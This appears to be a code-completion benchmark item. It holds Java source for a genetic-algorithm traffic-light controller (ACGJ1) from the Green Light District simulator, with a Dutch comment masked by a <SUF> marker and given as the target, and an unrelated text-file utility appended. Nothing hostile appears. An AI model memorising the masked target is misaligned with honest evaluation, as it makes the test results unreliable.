// Generate new childs
sortMembers();
int memSize = members.size();
if (memSize==0) initialize();
else {
while (members.size()<popSize) {
float rand = rnd.nextFloat();
int p1 = (int) ((1.0f-rand*rand)*memSize);
rand = rnd.nextFloat();
int p2 = (int) ((1.0f-rand*rand)*memSize);
if (p1>=memSize || p2 >=memSize) continue;
Person parent1 = (Person) members.elementAt(p1);
Person parent2 = (Person) members.elementAt(p2);
Person child = generateChild(parent1,parent2);
members.addElement(child);
}
}
// Mutate this generation
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
mutatePerson(p);
}
return false;
}
private void calcFitnesses() throws InfraException
{
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
p.calcFitness();
}
}
private boolean calcRelativeFitnesses()
{
float min = 0;
float max = 0;
boolean first = true;
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
if (first || p.fitness<min) {
min = p.fitness;
}
if (first || p.fitness>max) {
max = p.fitness;
}
first = false;
}
if (min==max) return true;
if (max-min<0.01) return true;
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
p.relFitness = (p.fitness-min)/(max-min);
}
if (max==currentMax) {
numMaxTimes++;
if (numMaxTimes>4) return true;
}
else {
numMaxTimes=0;
currentMax=max;
}
return false;
}
public Person generateChild(Person parent1, Person parent2)
{
Person child = new Person(infra, rnd);
for (int i=0; i<child.ndinf.length; i++)
{
// choose random one parent
int config = parent1.ndinf[i].config;
if (rnd.nextFloat()>=0.5) config = parent2.ndinf[i].config;
child.ndinf[i].config=config;
}
return child;
}
public void mutatePerson(Person person)
{
if (rnd.nextFloat()<=mutationFactor)
{
int mutNode = (int) (rnd.nextFloat()*person.ndinf.length);
mutateNodeInfo(person.ndinf[mutNode]);
// Another mutation is possible too
if (mutationFactor<0.8) mutatePerson(person);
}
}
public void mutateNodeInfo(NodeInfo ndi)
{
ndi.config = (int) (rnd.nextFloat()*ndi.configsize);
}
public void sortMembers()
{
//sort members so that the first has the highest fitness
Person p1 =null, p2 =null;
for (int i=0; i<members.size();i++)
{
p1 = (Person) members.elementAt(i);
for (int j=members.size()-1; j>=i; j--)
{
p2 = (Person) members.elementAt(j);
// if p2>p1...
if (p2.fitness>p1.fitness)
{
members.setElementAt(p2,i);
members.setElementAt(p1,j);
p1=p2;
}
}
}
}
public Person getFirstPerson()
{
if (members.size()==0) return null;
return (Person)(members.elementAt(0));
}
// XMLSerializable implementation of Population
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
numMaxTimes=myElement.getAttribute("max-times").getIntValue();
currentMax=myElement.getAttribute("current-max").getFloatValue();
members=(Vector)(XMLArray.loadArray(this,loader,assistant));
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=new XMLElement("population");
result.addAttribute(new XMLAttribute("current-max",currentMax));
result.addAttribute(new XMLAttribute("max-times",numMaxTimes));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
XMLArray.saveArray(members,this,saver,"members");
}
public String getXMLName ()
{
return "model.tlc.population";
}
public void setParentName (String parentName_) throws XMLTreeException
{
throw new XMLTreeException
("Operation not supported. ACGJ1Population has a fixed parentname");
}
public void loadSecondStage (Dictionary dictionaries) throws XMLTreeException,XMLInvalidInputException
{
XMLUtils.loadSecondStage(members.elements(),dictionaries);
}
}
private class Person implements XMLSerializable, TwoStageLoader
{
Infrastructure infra;
NodeInfo [] ndinf;
Random rnd;
float fitness;
float relFitness;
protected String myParentName="model.tlc.population";
public Person(Infrastructure infra, Random rnd)
{
this.infra = infra;
this.rnd = rnd;
Node [] allNodes = infra.getAllNodes();
ndinf = new NodeInfo[allNodes.length];
for (int j=0; j<allNodes.length; j++)
{
Node nd = allNodes[j];
ndinf[nd.getId()]=new NodeInfo(nd);
}
fitness = -1;
relFitness = -1;
}
public void randomizeData()
{
for (int i=0; i<ndinf.length; i++)
{
NodeInfo ndi = ndinf[i];
ndi.config = (int)(ndi.configsize *rnd.nextFloat());
}
}
/** This is the fitness-function, it now returns the number of cars that can drive with the given config.*/
public void calcFitness() throws InfraException
{
float totalFitness = 0.0f;
for (int i=0; i<ndinf.length; i++)
{
NodeInfo ndi = ndinf[i];
Junction ju = null;
if (ndi.nd instanceof Junction) ju = (Junction) ndi.nd; else continue;
Sign [] config = ju.getSignConfigs()[ndi.config];
for (int j=0; j<config.length; j++)
{
int numRUWaiting=config[j].getLane().getNumRoadusersWaiting();
if (numRUWaiting>0)
{
Roaduser ru = config[j].getLane().getFirstRoaduser();
totalFitness +=1.0 + 0.1*ru.getDelay(); // prevents infinite waiting times
}
totalFitness += numRUWaiting * 0.3f;
}
// Stimulate green waves, if a next lane is also green, give an extra reward
for (int l=0; l<config.length; l++)
{
Drivelane dl = config[l].getLane();
Drivelane [] dls = dl.getSign().getNode().getLanesLeadingFrom(dl,0);
for (int j=0; j<dls.length; j++)
{
Sign s2 = dls[j].getSign();
NodeInfo ndi2 = ndinf[s2.getNode().getId()];
if (!(ndi2.nd instanceof Junction)) continue;
Sign [] cfg2 = ((Junction) (ndi2.nd)).getSignConfigs()[ndi2.config];
for (int k=0; k<cfg2.length; k++)
{
if (cfg2[k]==s2) totalFitness+=0.1;
}
}
}
}
fitness = totalFitness;
}
public void fillTld(TLDecision [][] tld) throws InfraException
{
for (int i=0; i<ndinf.length; i++)
{
NodeInfo ndi = ndinf[i];
int nodeID = ndi.nd.getId();
setConfiguration(ndi,tld[nodeID]);
}
}
private void setConfiguration(NodeInfo ndi, TLDecision [] tl) throws InfraException
{
if (tl.length<=0) return;
Junction ju = null;
if (ndi.nd instanceof Junction) ju = (Junction) ndi.nd; else return;
Sign [] config = ju.getSignConfigs()[ndi.config];
for (int j=0; j<tl.length; j++)
{
tl[j].setGain(0);
for (int k=0; k<config.length; k++)
if (tl[j].getTL()==config[k]) tl[j].setGain(1);
}
}
// XMLSerializable implementation of Person
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
fitness=myElement.getAttribute("fitness").getFloatValue();
relFitness=myElement.getAttribute("rel-fitness").getFloatValue();
ndinf=(NodeInfo[])XMLArray.loadArray(this,loader,assistant);
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=new XMLElement("person");
result.addAttribute(new XMLAttribute("fitness",fitness));
result.addAttribute(new XMLAttribute("rel-fitness",relFitness));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
XMLArray.saveArray(ndinf,this,saver,"node-info");
}
public String getXMLName ()
{
return myParentName+".person";
}
public void setParentName (String newParentName)
{
myParentName=newParentName;
}
// TwoStageLoader implementation of Person
public void loadSecondStage (Dictionary dictionaries) throws XMLInvalidInputException,XMLTreeException
{
XMLUtils.loadSecondStage(new ArrayEnumeration(ndinf),dictionaries);
}
}
private class NodeInfo implements XMLSerializable, TwoStageLoader
{
Node nd;
int config;
int configsize;
protected String myParentName="model.tlc.population.person";
protected TwoStageLoaderData loadData=new TwoStageLoaderData();
// Empty constructor for loading
public NodeInfo ()
{}
public NodeInfo(Node nd)
{
this.nd = nd;
config = -1;
if (nd instanceof Junction)
configsize = ((Junction) nd).getSignConfigs().length; else configsize=0;
}
// XMLSerializable implementation of NodeInfo
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
config=myElement.getAttribute("config").getIntValue();
configsize=myElement.getAttribute("config-size").getIntValue();
loadData.nodeId=myElement.getAttribute("node-id").getIntValue();
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=new XMLElement("nodeinfo");
result.addAttribute(new XMLAttribute("config",config));
result.addAttribute(new XMLAttribute("config-size",configsize));
result.addAttribute(new XMLAttribute("node-id",nd.getId()));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
// NodeInfo objects don't have child objects
}
public String getXMLName ()
{
return myParentName+".nodeinfo";
}
public void setParentName (String newParentName)
{
myParentName=newParentName;
}
// TwoStageLoader implementation of NodeInfo
class TwoStageLoaderData
{
int nodeId;
}
public void loadSecondStage (Dictionary dictionaries) throws XMLInvalidInputException,XMLTreeException
{
nd=(Node)((Dictionary)dictionaries.get("node")).get(new Integer(loadData.nodeId));
}
}
public void showSettings(Controller c)
{
String[] descs = {"Population Size", "Maximal generation number", "Mutation factor"};
float[] floats = {mutationFactor};
int[] ints = {populationSize, maxGeneration};
TLCSettings settings = new TLCSettings(descs, ints, floats);
settings = doSettingsDialog(c, settings);
mutationFactor = settings.floats[0];
populationSize = settings.ints[0];
maxGeneration = settings.ints[1];
}
// XMLSerializable implementation
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
super.load(myElement,loader);
ruMoves=myElement.getAttribute("ru-moves").getIntValue();
avgWaitingTime=myElement.getAttribute("avg-waittime").getIntValue();
mutationFactor=myElement.getAttribute("mut-factor").getFloatValue();
populationSize=myElement.getAttribute("pop-size").getIntValue();
maxGeneration=myElement.getAttribute("max-gen").getIntValue();
genPopulation=new Population(infra);
loader.load(this,genPopulation);
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=super.saveSelf();
result.setName(shortXMLName);
result.addAttribute(new XMLAttribute("ru-moves",ruMoves));
result.addAttribute(new XMLAttribute("avg-waittime",avgWaitingTime));
result.addAttribute(new XMLAttribute("mut-factor",mutationFactor));
result.addAttribute(new XMLAttribute("pop-size",populationSize));
result.addAttribute(new XMLAttribute("max-gen",maxGeneration));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
super.saveChilds(saver);
saver.saveObject(genPopulation);
}
public String getXMLName ()
{
return "model."+shortXMLName;
}
// TwoStageLoader implementation
public void loadSecondStage (Dictionary dictionaries) throws XMLInvalidInputException,XMLTreeException
{
super.loadSecondStage(dictionaries);
genPopulation.loadSecondStage(dictionaries);
}
// InstantiationAssistant implementation
public Object createInstance (Class request) throws ClassNotFoundException,InstantiationException,IllegalAccessException
{
if (Population.class.equals(request))
{
return new Population(infra);
}
else if (Person.class.equals(request))
{
return new Person(infra,genPopulation == null ? new Random () : genPopulation.rnd);
}
else if (NodeInfo.class.equals(request))
{
return new NodeInfo();
}
else
{
throw new ClassNotFoundException("ACGJ1 InstantiationAssistant cannot make instances of "+ request);
}
}
public boolean canCreateInstance (Class request)
{
return Population.class.equals(request) || Person.class.equals(request) || NodeInfo.class.equals(request);
}
} | mohamed-abdelaziz-khamis/Multi-Agent-Multi-Objective-Reinforcement-Learning-for-Urban-Traffic-Signal-Control | GLD Traffic Simulator/gld/algo/tlc/ACGJ1.java | 6,431 | // * het voorkomt oneindig wachten van weggebruikers | line_comment | nl | /*-----------------------------------------------------------------------
* Copyright (C) 2001 Green Light District Team, Utrecht University
*
* This program (Green Light District) is free software.
* You may redistribute it and/or modify it under the terms
* of the GNU General Public License as published by
* the Free Software Foundation (version 2 or later).
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
* See the documentation of Green Light District for further information.
*------------------------------------------------------------------------*/
package gld.algo.tlc;
import gld.*;
import gld.sim.*;
import gld.algo.tlc.*;
import gld.infra.*;
import gld.utils.*;
import gld.xml.*;
import java.io.IOException;
import java.util.*;
import java.awt.Point;
/**
* This controller has been designed by the GLD-Algo group.
*
* This algorithm creates for every new timeStep of iteration a genetic population and tries to find the optimal city-wide configuration.
* This algorithm prevents deadlocks and stimulates green waves. This algorithm prevents endless waiting of roadusers.
* The fitness function "calcfitness" is the most important function of this algorithm.
* @author Group Algorithms
* @version 1.0
*/
// ideeen voor ACGJ1
// dit algoritme zal als het opstart ongeveer zo handelen als longest queue, maar:
// * het voorkomt<SUF>
// * er wordt gebruik gemaakt van genetische algoritmen
// * het algoritme kijkt d.m.v. genetische dingen over heel het netwerk om zo groene golven te maken etc. etc.
public class ACGJ1 extends TLController implements XMLSerializable, TwoStageLoader, InstantiationAssistant
{
Population genPopulation;
int ruMoves;
int avgWaitingTime;
protected Infrastructure infra;
public final static String shortXMLName="tlc-acgj1";
protected InstantiationAssistant assistant;
protected static float mutationFactor = 0.05f;
protected static int populationSize = 200;
protected static int maxGeneration = 100;
public ACGJ1(Infrastructure i)
{ super(i);
}
public void setInfrastructure(Infrastructure i)
{ super.setInfrastructure(i);
genPopulation = new Population(i);
genPopulation.initialize();
ruMoves = 0;
}
/**
* Calculates how every traffic light should be switched
* @param The TLDecision is a tuple consisting of a traffic light and a reward (Q) value, for it to be green
* @see gld.algo.tlc.TLDecision
*/
public TLDecision[][] decideTLs()
{
int maxLength, num_lanes, num_nodes, maxId, temp_len, ru_pos;
num_nodes = tld.length;
for (int i=0; i < num_nodes; i++)
{
maxLength = -1;
maxId = -1;
num_lanes = tld[i].length;
for(int j=0; j < num_lanes; j++)
tld[i][j].setGain(tld[i][j].getTL().getLane().getNumRoadusersWaiting());
}
try
{
genPopulation.resetGeneration();
//GASTON: va evaluando y creando NUEVOS miembros de la MISMA generaci�n (genPopulation) 100 veces (indicado por maxGeneration)
//cada vez que crea una generaci�n (con CreateNextGeneration) borra algunos miembros de la generaci�n
//actual no tan �ptimos, reemplaz�ndolos por nuevos (creados a partir de los ya existentes m�s �ptimos).
//Esta es la forma en que el algoritmo se optimiza "geneticamente", es decir,
//la optimizaci�n ocurre en cada doStep, y no se conserva ning�n estado ni evaluaci�n de steps anteriores.
genPopulation.evaluateGeneration();
for (int i=0; i<maxGeneration; i++)
{
if (genPopulation.createNextGeneration())
break;
genPopulation.evaluateGeneration();
}
}
catch (Exception e)
{
System.out.println(e+"");
e.printStackTrace();
}
genPopulation.sortMembers();
Person p = genPopulation.getFirstPerson();
if (p!=null)
{
try{p.fillTld(tld);}
catch(Exception e)
{System.out.println(e);e.printStackTrace();}
}
ruMoves=0;
return tld;
}
public void updateRoaduserMove(Roaduser _ru, Drivelane _prevlane, Sign _prevsign, double _prevpos /*EJUST: int --> double*/,
Drivelane _dlanenow, Sign _signnow, double _posnow /*EJUST: int --> double*/,
PosMov[] posMovs, Drivelane desired)
{
ruMoves++;
}
private class Population implements XMLSerializable, TwoStageLoader
{
Vector members;
Infrastructure infra;
Random rnd;
float currentMax;
int numMaxTimes;
public Population(Infrastructure infra) {
this.infra = infra;
members = new Vector();
rnd = new Random(GLDSim.seriesSeed[GLDSim.seriesSeedIndex]);
currentMax = 0;
numMaxTimes = 0;
initialize();
}
// Initializes this population
public void initialize() {
members.removeAllElements();
if (ACGJ1.populationSize<10) ACGJ1.populationSize = 10;
for (int i=0; i<ACGJ1.populationSize; i++) {
Person p = new Person(infra, rnd);
p.randomizeData();
members.addElement(p);
}
currentMax=0;
numMaxTimes = 0;
}
public void resetGeneration()
{
float total = members.size();
float current = 0;
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
if (rnd.nextFloat()<(current/total)) p.randomizeData();
current++;
}
currentMax = 0;
numMaxTimes = 0;
}
public void evaluateGeneration() throws InfraException
{
calcFitnesses();
}
public boolean createNextGeneration()
{
int popSize = members.size();
if (calcRelativeFitnesses()) return true;
// Kill some members of this population, about one half is killed here
for (Iterator i = members.iterator(); i.hasNext();) {
Person p = (Person) i.next();
if (p.relFitness<4*rnd.nextFloat()*rnd.nextFloat()*rnd.nextFloat())
i.remove();
}
// Generate new childs
sortMembers();
int memSize = members.size();
if (memSize==0) initialize();
else {
while (members.size()<popSize) {
float rand = rnd.nextFloat();
int p1 = (int) ((1.0f-rand*rand)*memSize);
rand = rnd.nextFloat();
int p2 = (int) ((1.0f-rand*rand)*memSize);
if (p1>=memSize || p2 >=memSize) continue;
Person parent1 = (Person) members.elementAt(p1);
Person parent2 = (Person) members.elementAt(p2);
Person child = generateChild(parent1,parent2);
members.addElement(child);
}
}
// Mutate this generation
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
mutatePerson(p);
}
return false;
}
private void calcFitnesses() throws InfraException
{
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
p.calcFitness();
}
}
private boolean calcRelativeFitnesses()
{
float min = 0;
float max = 0;
boolean first = true;
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
if (first || p.fitness<min) {
min = p.fitness;
}
if (first || p.fitness>max) {
max = p.fitness;
}
first = false;
}
if (min==max) return true;
if (max-min<0.01) return true;
for (Enumeration e=members.elements(); e.hasMoreElements();) {
Person p = (Person) e.nextElement();
p.relFitness = (p.fitness-min)/(max-min);
}
if (max==currentMax) {
numMaxTimes++;
if (numMaxTimes>4) return true;
}
else {
numMaxTimes=0;
currentMax=max;
}
return false;
}
public Person generateChild(Person parent1, Person parent2)
{
Person child = new Person(infra, rnd);
for (int i=0; i<child.ndinf.length; i++)
{
// choose random one parent
int config = parent1.ndinf[i].config;
if (rnd.nextFloat()>=0.5) config = parent2.ndinf[i].config;
child.ndinf[i].config=config;
}
return child;
}
public void mutatePerson(Person person)
{
if (rnd.nextFloat()<=mutationFactor)
{
int mutNode = (int) (rnd.nextFloat()*person.ndinf.length);
mutateNodeInfo(person.ndinf[mutNode]);
// Another mutation is possible too
if (mutationFactor<0.8) mutatePerson(person);
}
}
public void mutateNodeInfo(NodeInfo ndi)
{
ndi.config = (int) (rnd.nextFloat()*ndi.configsize);
}
public void sortMembers()
{
//sort members so that the first has the highest fitness
Person p1 =null, p2 =null;
for (int i=0; i<members.size();i++)
{
p1 = (Person) members.elementAt(i);
for (int j=members.size()-1; j>=i; j--)
{
p2 = (Person) members.elementAt(j);
// if p2>p1...
if (p2.fitness>p1.fitness)
{
members.setElementAt(p2,i);
members.setElementAt(p1,j);
p1=p2;
}
}
}
}
public Person getFirstPerson()
{
if (members.size()==0) return null;
return (Person)(members.elementAt(0));
}
// XMLSerializable implementation of Population
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
numMaxTimes=myElement.getAttribute("max-times").getIntValue();
currentMax=myElement.getAttribute("current-max").getFloatValue();
members=(Vector)(XMLArray.loadArray(this,loader,assistant));
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=new XMLElement("population");
result.addAttribute(new XMLAttribute("current-max",currentMax));
result.addAttribute(new XMLAttribute("max-times",numMaxTimes));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
XMLArray.saveArray(members,this,saver,"members");
}
public String getXMLName ()
{
return "model.tlc.population";
}
public void setParentName (String parentName_) throws XMLTreeException
{
throw new XMLTreeException
("Operation not supported. ACGJ1Population has a fixed parentname");
}
public void loadSecondStage (Dictionary dictionaries) throws XMLTreeException,XMLInvalidInputException
{
XMLUtils.loadSecondStage(members.elements(),dictionaries);
}
}
private class Person implements XMLSerializable, TwoStageLoader
{
Infrastructure infra;
NodeInfo [] ndinf;
Random rnd;
float fitness;
float relFitness;
protected String myParentName="model.tlc.population";
public Person(Infrastructure infra, Random rnd)
{
this.infra = infra;
this.rnd = rnd;
Node [] allNodes = infra.getAllNodes();
ndinf = new NodeInfo[allNodes.length];
for (int j=0; j<allNodes.length; j++)
{
Node nd = allNodes[j];
ndinf[nd.getId()]=new NodeInfo(nd);
}
fitness = -1;
relFitness = -1;
}
public void randomizeData()
{
for (int i=0; i<ndinf.length; i++)
{
NodeInfo ndi = ndinf[i];
ndi.config = (int)(ndi.configsize *rnd.nextFloat());
}
}
/** This is the fitness-function, it now returns the number of cars that can drive with the given config.*/
public void calcFitness() throws InfraException
{
float totalFitness = 0.0f;
for (int i=0; i<ndinf.length; i++)
{
NodeInfo ndi = ndinf[i];
Junction ju = null;
if (ndi.nd instanceof Junction) ju = (Junction) ndi.nd; else continue;
Sign [] config = ju.getSignConfigs()[ndi.config];
for (int j=0; j<config.length; j++)
{
int numRUWaiting=config[j].getLane().getNumRoadusersWaiting();
if (numRUWaiting>0)
{
Roaduser ru = config[j].getLane().getFirstRoaduser();
totalFitness +=1.0 + 0.1*ru.getDelay(); // prevents infinite waiting times
}
totalFitness += numRUWaiting * 0.3f;
}
// Stimulate green waves, if a next lane is also green, give an extra reward
for (int l=0; l<config.length; l++)
{
Drivelane dl = config[l].getLane();
Drivelane [] dls = dl.getSign().getNode().getLanesLeadingFrom(dl,0);
for (int j=0; j<dls.length; j++)
{
Sign s2 = dls[j].getSign();
NodeInfo ndi2 = ndinf[s2.getNode().getId()];
if (!(ndi2.nd instanceof Junction)) continue;
Sign [] cfg2 = ((Junction) (ndi2.nd)).getSignConfigs()[ndi2.config];
for (int k=0; k<cfg2.length; k++)
{
if (cfg2[k]==s2) totalFitness+=0.1;
}
}
}
}
fitness = totalFitness;
}
public void fillTld(TLDecision [][] tld) throws InfraException
{
for (int i=0; i<ndinf.length; i++)
{
NodeInfo ndi = ndinf[i];
int nodeID = ndi.nd.getId();
setConfiguration(ndi,tld[nodeID]);
}
}
private void setConfiguration(NodeInfo ndi, TLDecision [] tl) throws InfraException
{
if (tl.length<=0) return;
Junction ju = null;
if (ndi.nd instanceof Junction) ju = (Junction) ndi.nd; else return;
Sign [] config = ju.getSignConfigs()[ndi.config];
for (int j=0; j<tl.length; j++)
{
tl[j].setGain(0);
for (int k=0; k<config.length; k++)
if (tl[j].getTL()==config[k]) tl[j].setGain(1);
}
}
// XMLSerializable implementation of Person
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
fitness=myElement.getAttribute("fitness").getFloatValue();
relFitness=myElement.getAttribute("rel-fitness").getFloatValue();
ndinf=(NodeInfo[])XMLArray.loadArray(this,loader,assistant);
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=new XMLElement("person");
result.addAttribute(new XMLAttribute("fitness",fitness));
result.addAttribute(new XMLAttribute("rel-fitness",relFitness));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
XMLArray.saveArray(ndinf,this,saver,"node-info");
}
public String getXMLName ()
{
return myParentName+".person";
}
public void setParentName (String newParentName)
{
myParentName=newParentName;
}
// TwoStageLoader implementation of Person
public void loadSecondStage (Dictionary dictionaries) throws XMLInvalidInputException,XMLTreeException
{
XMLUtils.loadSecondStage(new ArrayEnumeration(ndinf),dictionaries);
}
}
private class NodeInfo implements XMLSerializable, TwoStageLoader
{
Node nd;
int config;
int configsize;
protected String myParentName="model.tlc.population.person";
protected TwoStageLoaderData loadData=new TwoStageLoaderData();
// Empty constructor for loading
public NodeInfo ()
{}
public NodeInfo(Node nd)
{
this.nd = nd;
config = -1;
if (nd instanceof Junction)
configsize = ((Junction) nd).getSignConfigs().length; else configsize=0;
}
// XMLSerializable implementation of NodeInfo
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
config=myElement.getAttribute("config").getIntValue();
configsize=myElement.getAttribute("config-size").getIntValue();
loadData.nodeId=myElement.getAttribute("node-id").getIntValue();
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=new XMLElement("nodeinfo");
result.addAttribute(new XMLAttribute("config",config));
result.addAttribute(new XMLAttribute("config-size",configsize));
result.addAttribute(new XMLAttribute("node-id",nd.getId()));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
// NodeInfo objects don't have child objects
}
public String getXMLName ()
{
return myParentName+".nodeinfo";
}
public void setParentName (String newParentName)
{
myParentName=newParentName;
}
// TwoStageLoader implementation of NodeInfo
class TwoStageLoaderData
{
int nodeId;
}
public void loadSecondStage (Dictionary dictionaries) throws XMLInvalidInputException,XMLTreeException
{
nd=(Node)((Dictionary)dictionaries.get("node")).get(new Integer(loadData.nodeId));
}
}
public void showSettings(Controller c)
{
String[] descs = {"Population Size", "Maximal generation number", "Mutation factor"};
float[] floats = {mutationFactor};
int[] ints = {populationSize, maxGeneration};
TLCSettings settings = new TLCSettings(descs, ints, floats);
settings = doSettingsDialog(c, settings);
mutationFactor = settings.floats[0];
populationSize = settings.ints[0];
maxGeneration = settings.ints[1];
}
// XMLSerializable implementation
public void load (XMLElement myElement,XMLLoader loader) throws XMLTreeException,IOException,XMLInvalidInputException
{
super.load(myElement,loader);
ruMoves=myElement.getAttribute("ru-moves").getIntValue();
avgWaitingTime=myElement.getAttribute("avg-waittime").getIntValue();
mutationFactor=myElement.getAttribute("mut-factor").getFloatValue();
populationSize=myElement.getAttribute("pop-size").getIntValue();
maxGeneration=myElement.getAttribute("max-gen").getIntValue();
genPopulation=new Population(infra);
loader.load(this,genPopulation);
}
public XMLElement saveSelf () throws XMLCannotSaveException
{
XMLElement result=super.saveSelf();
result.setName(shortXMLName);
result.addAttribute(new XMLAttribute("ru-moves",ruMoves));
result.addAttribute(new XMLAttribute("avg-waittime",avgWaitingTime));
result.addAttribute(new XMLAttribute("mut-factor",mutationFactor));
result.addAttribute(new XMLAttribute("pop-size",populationSize));
result.addAttribute(new XMLAttribute("max-gen",maxGeneration));
return result;
}
public void saveChilds (XMLSaver saver) throws XMLTreeException,IOException,XMLCannotSaveException
{
super.saveChilds(saver);
saver.saveObject(genPopulation);
}
public String getXMLName ()
{
return "model."+shortXMLName;
}
// TwoStageLoader implementation
public void loadSecondStage (Dictionary dictionaries) throws XMLInvalidInputException,XMLTreeException
{
super.loadSecondStage(dictionaries);
genPopulation.loadSecondStage(dictionaries);
}
// InstantiationAssistant implementation
public Object createInstance (Class request) throws ClassNotFoundException,InstantiationException,IllegalAccessException
{
if (Population.class.equals(request))
{
return new Population(infra);
}
else if (Person.class.equals(request))
{
return new Person(infra,genPopulation == null ? new Random () : genPopulation.rnd);
}
else if (NodeInfo.class.equals(request))
{
return new NodeInfo();
}
else
{
throw new ClassNotFoundException("ACGJ1 InstantiationAssistant cannot make instances of "+ request);
}
}
public boolean canCreateInstance (Class request)
{
return Population.class.equals(request) || Person.class.equals(request) || NodeInfo.class.equals(request);
}
} |
203923_7 | package TextEngine;
import java.io.File;
import java.util.ArrayList;
import java.util.Scanner;
/**
* It represents an object that can handle text files.
*/
public class TextEngine implements Sort {
/* Class variable */
/**
* The only instance of TextEngine object.
*/
private final static TextEngine instance = new TextEngine();
////////////////////////////////////////////////////
/*> Member variables <*/
/**
* Array list that hold all opened file during runtime.
*/
private final ArrayList<TextFile> files;
////////////////////////////////////////////////////
/*>> Constructor <<*/
/**
* The constructor of TextEngine class.
*/
private TextEngine() {
this.files = new ArrayList<>();
}
////////////////////////////////////////////////////
/*>>> Static methods <<<*/
/**
* It returns the TextEngine object.
* @return The instance of TextEngine Type. "Singleton"
*/
public static TextEngine getInstance() {
return instance;
}
////////////////////////////////////////////////////
/*>>>> Member methods <<<<*/
/**
* It's a user interface in console that helps to select and execute a specific operation.
*/
public void start() {
System.out.print(USER_MESSAGE.GREETING);
Scanner userInput = new Scanner(System.in);
String userSelection = "0";
while (!userSelection.equals("e")) {
System.out.println(USER_MESSAGE.CONSOLE_MENU);
userSelection = userInput.nextLine();
switch (userSelection) {
// To open a text file and add it to files member variable.
case "o":
openFile();
break;
// To print the contents of the exist text files.
case "a":
System.out.println(getContents());
break;
// To sort the content of all opened text files.
case "b":
sortFilesContents();
break;
// To call the method that make a search inside all opened text files.
case "c":
searchInFiles();
break;
// To save the current result of the opened text files.
case "d":
saveFilesContents();
break;
// To exit the application.
case "e":
System.out.println(USER_MESSAGE.GOOD_BYE);
break;
// Printing an error message when user enter false options that is not exist in the main menu.
default:
System.out.println(USER_MESSAGE.INVALID_SELECTION);
}
}
}
/**
* It's like a wizard that helps the user with opening a text file and add it to {@link #files} member variable..
*/
private void openFile() {
System.out.println(USER_MESSAGE.ASKING_TO_ENTER_FILE_PATH );
TextFile temp = TextFile.open(new Scanner(System.in).nextLine());
if (temp != null) {
files.add(temp);
System.out.println(USER_MESSAGE.FILE_HAS_BEEN_OPENED_SUCCESSFULLY);
} else {
System.out.println(USER_MESSAGE.COULD_NOT_OPEN_FILE);
}
}
/**
* If the file-arrays size is more than 0, loop through the size of the file. And if the file isn't already sorted, call the 'sortContent'-method
*/
private void sortFilesContents() {
if (files.size() > 0) {
for (TextFile file : files) {
if (!file.isSorted()) {
file.sortContent();
}
}
System.out.println(USER_MESSAGE.TEXT_FILES_ARE_SORTED);
}else {
System.out.println(USER_MESSAGE.NO_TEXT_FILE_IS_OPENED);
}
}
/**
* It's like a wizard that helps the user with looking for a word inside text files {@link #files} member variable..
*/
private void searchInFiles() {
if (files.size() > 0) {
boolean filesContentsIsSorted = true, userDecision = false;
// Checking if every opened text file content is sorted be checking sorted member value.
for (TextFile file : files) {
if (!file.isSorted()) {
filesContentsIsSorted = false;
break;
}
}
// Let the user decide whether or not want to execute the searching in case contents is not sorted.
if (!filesContentsIsSorted) {
System.out.println(USER_MESSAGE.RECOMMENDATION_TO_SORT_FILES_BEFORE_SEARCHING);
if (new Scanner(System.in).nextLine().equals("y")) {
System.out.println(USER_MESSAGE.WARNING_ABOUT_SIGNS);
userDecision = true;
}
}
// Start searching.
if (filesContentsIsSorted || userDecision) {
System.out.println(USER_MESSAGE.SENSITIVE_CASE_SEARCH_NOTE);
// Word will be entered by user.
String wordToLookFor = new Scanner(System.in).nextLine();
// array that will hold the search result.
int[][] searchResult = new int[files.size()][2];
// Start searching file by file and save the result inside searchResult array.
for (int i = 0; i < files.size(); i++) {
searchResult[i][0] = i;
searchResult[i][1] = files.get(i).search(wordToLookFor);
}
